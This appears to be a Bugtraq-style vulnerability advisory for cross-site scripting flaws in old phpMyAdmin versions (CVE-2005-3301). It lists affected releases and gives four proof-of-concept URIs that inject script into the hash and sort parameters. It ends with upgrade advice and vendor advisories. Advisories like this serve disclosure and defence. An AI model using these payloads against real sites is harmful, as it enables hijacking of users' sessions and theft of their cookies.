BID:15196

PHPMyAdmin Multiple Cross-Site Scripting Vulnerabilities

Info

PHPMyAdmin Multiple Cross-Site Scripting Vulnerabilities

Bugtraq ID:	15196
Class:	Input Validation Error
CVE:	CVE-2005-3301 CVE-2005-3301
Remote:	Yes
Local:	No
Published:	May 20 2005 12:00AM
Updated:	Mar 19 2015 09:28AM
Credit:	Tobias Klein is credited with the discovery of these vulnerabilities.
Vulnerable:	SuSE SUSE Linux Enterprise Server 9 SuSE SUSE Linux Enterprise Server 8 + Linux kernel 2.4.21 + Linux kernel 2.4.19 S.u.S.E. SuSE Linux Standard Server 8.0 S.u.S.E. SuSE Linux School Server for i386 S.u.S.E. SUSE LINUX Retail Solution 8.0 S.u.S.E. SuSE Linux Openexchange Server 4.0 S.u.S.E. Novell Linux Desktop 9.0 S.u.S.E. Linux Professional 10.0 OSS S.u.S.E. Linux Professional 10.0 S.u.S.E. Linux Professional 9.3 x86_64 S.u.S.E. Linux Professional 9.3 S.u.S.E. Linux Professional 9.2 x86_64 S.u.S.E. Linux Professional 9.2 S.u.S.E. Linux Professional 9.1 x86_64 S.u.S.E. Linux Professional 9.1 S.u.S.E. Linux Professional 9.0 x86_64 S.u.S.E. Linux Professional 9.0 S.u.S.E. Linux Professional 8.2 S.u.S.E. Linux Personal 10.0 OSS S.u.S.E. Linux Personal 9.3 x86_64 S.u.S.E. Linux Personal 9.3 S.u.S.E. Linux Personal 9.2 x86_64 S.u.S.E. Linux Personal 9.2 S.u.S.E. Linux Personal 9.1 x86_64 S.u.S.E. Linux Personal 9.1 S.u.S.E. Linux Personal 9.0 x86_64 S.u.S.E. Linux Personal 9.0 S.u.S.E. Linux Personal 8.2 S.u.S.E. Linux Desktop 1.0 phpMyAdmin phpMyAdmin 2.6.4 -rc1 phpMyAdmin phpMyAdmin 2.6.4 -pl1 phpMyAdmin phpMyAdmin 2.6.3 -pl1 phpMyAdmin phpMyAdmin 2.6.2 -rc1 phpMyAdmin phpMyAdmin 2.6.2 + Gentoo Linux phpMyAdmin phpMyAdmin 2.6.1 pl3 phpMyAdmin phpMyAdmin 2.6.1 pl1 phpMyAdmin phpMyAdmin 2.6.1 -rc1 phpMyAdmin phpMyAdmin 2.6.1 phpMyAdmin phpMyAdmin 2.6 .0pl3 phpMyAdmin phpMyAdmin 2.6 .0pl2 + Gentoo Linux 1.4 + Gentoo Linux + Gentoo Linux + Gentoo Linux phpMyAdmin phpMyAdmin 2.6 .0pl1 phpMyAdmin phpMyAdmin 2.5.7 pl1 phpMyAdmin phpMyAdmin 2.5.7 phpMyAdmin phpMyAdmin 2.5.6 -rc1 phpMyAdmin phpMyAdmin 2.5.5 pl1 phpMyAdmin phpMyAdmin 2.5.5 -rc2 phpMyAdmin phpMyAdmin 2.5.5 -rc1 phpMyAdmin phpMyAdmin 2.5.5 phpMyAdmin phpMyAdmin 2.5.4 phpMyAdmin phpMyAdmin 2.5.3 + S.u.S.E. Linux Personal 9.3 + S.u.S.E. Linux Personal 9.2 x86_64 + S.u.S.E. Linux Personal 9.2 x86_64 + S.u.S.E. Linux Personal 9.2 x86_64 + S.u.S.E. Linux Personal 9.2 + S.u.S.E. Linux Personal 9.2 + S.u.S.E. Linux Personal 9.2 + S.u.S.E. Linux Personal 9.1 x86_64 + S.u.S.E. Linux Personal 9.1 x86_64 + S.u.S.E. Linux Personal 9.1 x86_64 + S.u.S.E. Linux Personal 9.1 + S.u.S.E. Linux Personal 9.1 + S.u.S.E. Linux Personal 9.1 + S.u.S.E. Linux Personal 9.0 x86_64 + S.u.S.E. Linux Personal 9.0 x86_64 + S.u.S.E. Linux Personal 9.0 x86_64 + S.u.S.E. Linux Personal 9.0 + S.u.S.E. Linux Personal 9.0 + S.u.S.E. Linux Personal 9.0 phpMyAdmin phpMyAdmin 2.5.2 phpMyAdmin phpMyAdmin 2.5.1 phpMyAdmin phpMyAdmin 2.5 .0 phpMyAdmin phpMyAdmin 2.4 .0 phpMyAdmin phpMyAdmin 2.3.2 phpMyAdmin phpMyAdmin 2.3.1 phpMyAdmin phpMyAdmin 2.2.6 phpMyAdmin phpMyAdmin 2.2.5 phpMyAdmin phpMyAdmin 2.2.4 phpMyAdmin phpMyAdmin 2.2.3 phpMyAdmin phpMyAdmin 2.2.2 phpMyAdmin phpMyAdmin 2.2 rc3 phpMyAdmin phpMyAdmin 2.2 rc2 phpMyAdmin phpMyAdmin 2.2 rc1 phpMyAdmin phpMyAdmin 2.2 pre2 phpMyAdmin phpMyAdmin 2.2 pre1 phpMyAdmin phpMyAdmin 2.2 phpMyAdmin phpMyAdmin 2.1 .2 phpMyAdmin phpMyAdmin 2.1 .1 phpMyAdmin phpMyAdmin 2.1 - Debian Linux 2.2 sparc - Debian Linux 2.2 sparc - Debian Linux 2.2 sparc - Debian Linux 2.2 powerpc - Debian Linux 2.2 powerpc - Debian Linux 2.2 powerpc - Debian Linux 2.2 arm - Debian Linux 2.2 arm - Debian Linux 2.2 arm - Debian Linux 2.2 alpha - Debian Linux 2.2 alpha - Debian Linux 2.2 alpha - Debian Linux 2.2 68k - Debian Linux 2.2 68k - Debian Linux 2.2 68k - Debian Linux 2.2 - Debian Linux 2.2 - Debian Linux 2.2 - FreeBSD FreeBSD 4.2 - FreeBSD FreeBSD 4.2 - FreeBSD FreeBSD 4.2 - FreeBSD FreeBSD 3.5.1 - FreeBSD FreeBSD 3.5.1 - FreeBSD FreeBSD 3.5.1 - Mandriva Linux Mandrake 7.2 - Mandriva Linux Mandrake 7.2 - Mandriva Linux Mandrake 7.2 - Mandriva Linux Mandrake 7.1 - Mandriva Linux Mandrake 7.1 - Mandriva Linux Mandrake 7.1 - Mandriva Linux Mandrake 7.0 - Mandriva Linux Mandrake 7.0 - Mandriva Linux Mandrake 7.0 - OpenBSD OpenBSD 2.8 - OpenBSD OpenBSD 2.8 - OpenBSD OpenBSD 2.8 - OpenBSD OpenBSD 2.7 - OpenBSD OpenBSD 2.7 - OpenBSD OpenBSD 2.7 - OpenBSD OpenBSD 2.6 - OpenBSD OpenBSD 2.6 - OpenBSD OpenBSD 2.6 - Red Hat Linux 6.2 - Red Hat Linux 6.2 - Red Hat Linux 6.2 - RedHat Linux 7.0 - RedHat Linux 7.0 - RedHat Linux 7.0 - S.u.S.E. Linux 7.1 - S.u.S.E. Linux 7.0 - S.u.S.E. Linux 7.0 - S.u.S.E. Linux 7.0 - S.u.S.E. Linux 6.4 - S.u.S.E. Linux 6.4 - S.u.S.E. Linux 6.4 - Sun Solaris 8_x86 - Sun Solaris 8_x86 - Sun Solaris 8_x86 - Sun Solaris 8_sparc - Sun Solaris 8_sparc - Sun Solaris 8_sparc - Sun Solaris 7.0_x86 - Sun Solaris 7.0_x86 - Sun Solaris 7.0_x86 - Sun Solaris 7.0 - Sun Solaris 7.0 - Sun Solaris 7.0 - Sun Solaris 2.6_x86 - Sun Solaris 2.6_x86 - Sun Solaris 2.6_x86 - Sun Solaris 2.6 - Sun Solaris 2.6 - Sun Solaris 2.6 phpMyAdmin phpMyAdmin 2.0.5 phpMyAdmin phpMyAdmin 2.0.4 phpMyAdmin phpMyAdmin 2.0.3 phpMyAdmin phpMyAdmin 2.0.2 phpMyAdmin phpMyAdmin 2.0.1 phpMyAdmin phpMyAdmin 2.0 Gentoo Linux Debian Linux 3.1 sparc Debian Linux 3.1 s/390 Debian Linux 3.1 ppc Debian Linux 3.1 mipsel Debian Linux 3.1 mips Debian Linux 3.1 m68k Debian Linux 3.1 ia-64 Debian Linux 3.1 ia-32 Debian Linux 3.1 hppa Debian Linux 3.1 arm Debian Linux 3.1 amd64 Debian Linux 3.1 alpha Debian Linux 3.1

Not Vulnerable:	ScriptSolutions PerlDiver 2.32 phpMyAdmin phpMyAdmin 2.6.4 -pl3

Discussion

PHPMyAdmin Multiple Cross-Site Scripting Vulnerabilities

phpMyAdmin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Exploit / POC

PHPMyAdmin Multiple Cross-Site Scripting Vulnerabilities

No exploit is required.

The following proof of concept URI are available:
http://www.example/com/left.php?lang=en-iso-8859-1&server=1&hash=/left.php?lang=en-iso-8859- &server=1&hash="><script>alert(document.cookie)</script>
http://www.example/com/queryframe.php?lang=en-iso-8859-1&server=1&hash="><script>alert(document.cookie)</script>
http://www.example/com/server_databases.php?lang=en-iso-8859-1&server=1&sort_by=db_name&sort_order="><script>alert(document.cookie)</script>
http://www.example/com/server_databases.php?lang=en-iso-8859-1&server=1&sort_by="><script>alert(document.cookie)</script>

Solution / Fix

PHPMyAdmin Multiple Cross-Site Scripting Vulnerabilities

Solution:
Solution:
The vendor has released version 2.6.4-pl3 to address this issue.

Gentoo Linux has released security advisory GLSA 200510-21 addressing this issue. Gentoo recommends all phpMyAdmin users should upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose ">=dev-db/phpmyadmin-2.6.4_p3"

Debian Linux has released security advisory DSA 880-1 with fixes addressing this issue. Please see the referenced advisory for further details on obtaining and applying the appropriate updates.

SUSE has released advisory SUSE-SR:2005:025 to address this, and other issues in various packages, in various SUSE products. The advisory states that there are pending fixes for this issue in SUSE products. Please see the referenced advisory for further information.

SUSE has released advisory SUSE-SA:2005:066 to address this and other issues in the phpMyAdmin frontend for MySQL. Please see the referenced advisory for further information.

SUSE advisory SUSE-SR:2005:028 is available to address various issues. Please see the referenced advisory for more information.

phpMyAdmin phpMyAdmin 2.0